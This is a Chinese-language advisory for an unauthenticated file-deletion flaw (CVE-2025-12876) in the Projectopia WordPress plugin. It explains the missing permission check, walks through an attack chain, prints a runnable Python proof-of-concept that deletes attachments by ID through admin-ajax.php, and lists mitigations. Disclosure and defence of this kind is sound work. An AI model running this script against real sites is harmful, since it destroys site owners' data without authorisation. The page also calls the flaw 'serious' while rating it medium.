CVE-2025-12876 | Projectopia WordPress插件未授权文件删除漏洞

漏洞信息

漏洞编号

CVE-2025-12876

漏洞类型

未授权操作/权限绕过

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Projectopia – WordPress Project Management plugin

漏洞概述

CVE-2025-12876是Projectopia WordPress项目管理插件中的一个严重安全漏洞。该插件是WordPress平台上广泛使用的项目管理工具，提供任务管理、文件共享、团队协作等功能。漏洞存在于插件的AJAX处理函数中，具体是pto_delete_file这个AJAX action缺少了必要的权限验证机制。攻击者无需任何认证凭证，即可利用该漏洞删除WordPress网站上的任意文件或附件。这可能导致敏感数据泄露、网站功能破坏，甚至可能通过删除关键文件造成网站完全瘫痪。由于该漏洞影响所有版本直至5.1.19，且利用难度低、无需认证，对使用该插件的WordPress网站构成严重威胁。

技术细节

漏洞根源在于WordPress AJAX处理机制中的权限验证缺失。正常情况下，WordPress的AJAX端点应该使用wp_ajax_和wp_ajax_nopriv_钩子来区分已认证和未认证请求，并为每个action添加适当的权限检查（如current_user_can()）。然而，pto_delete_file这个AJAX action在注册时没有正确实现权限检查，导致任何访客都可以触发该函数。该函数位于general_functions.php文件的第389行附近，主要功能是根据传入的参数删除指定的附件文件。攻击者只需构造一个带有file_id参数的POST请求到/wp-admin/admin-ajax.php端点，即可触发删除操作。由于缺少文件所有权验证，攻击者可以删除任意用户上传的文件，包括管理员上传的敏感附件。

攻击链分析

STEP 1

步骤1

攻击者识别目标WordPress网站是否安装Projectopia插件

STEP 2

步骤2

攻击者构造恶意请求，POST到/wp-admin/admin-ajax.php端点

STEP 3

步骤3

请求中包含action=pto_delete_file和目标file_id参数，无需认证

STEP 4

步骤4

服务器端缺少current_user_can()权限检查，直接执行删除逻辑

STEP 5

步骤5

文件从数据库和文件系统中被删除，造成数据丢失或功能破坏

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import sys

# CVE-2025-12876 PoC - Unauthenticated File Deletion
# Target: Projectopia WordPress Plugin < 5.1.20
# Action: pto_delete_file AJAX endpoint

def delete_file(target_url, file_id):
    """
    Delete arbitrary file via unprotected AJAX action
    
    Args:
        target_url: WordPress site URL
        file_id: Attachment ID to delete
    """
    endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    data = {
        'action': 'pto_delete_file',
        'file_id': file_id,
        'security': ''  # No nonce validation
    }
    
    try:
        response = requests.post(endpoint, data=data, timeout=10)
        if response.status_code == 200:
            print(f"[+] Request sent for file_id: {file_id}")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: python {sys.argv[0]} <target_url> <file_id>")
        print(f"Example: python {sys.argv[0]} http://example.com 123")
        sys.exit(1)
    
    target = sys.argv[1]
    file_id = sys.argv[2]
    delete_file(target, file_id)

影响范围

Projectopia Core plugin < 5.1.20

Projectopia Core plugin <= 5.1.19 (all versions up to)

防御指南

临时缓解措施

在官方补丁发布前，可通过以下方式临时缓解：1) 限制wp-admin/admin-ajax.php的访问权限；2) 使用WAF规则阻止action=pto_delete_file的请求；3) 临时禁用Projectopia插件；4) 实施文件上传白名单机制；5) 定期备份网站数据以便快速恢复。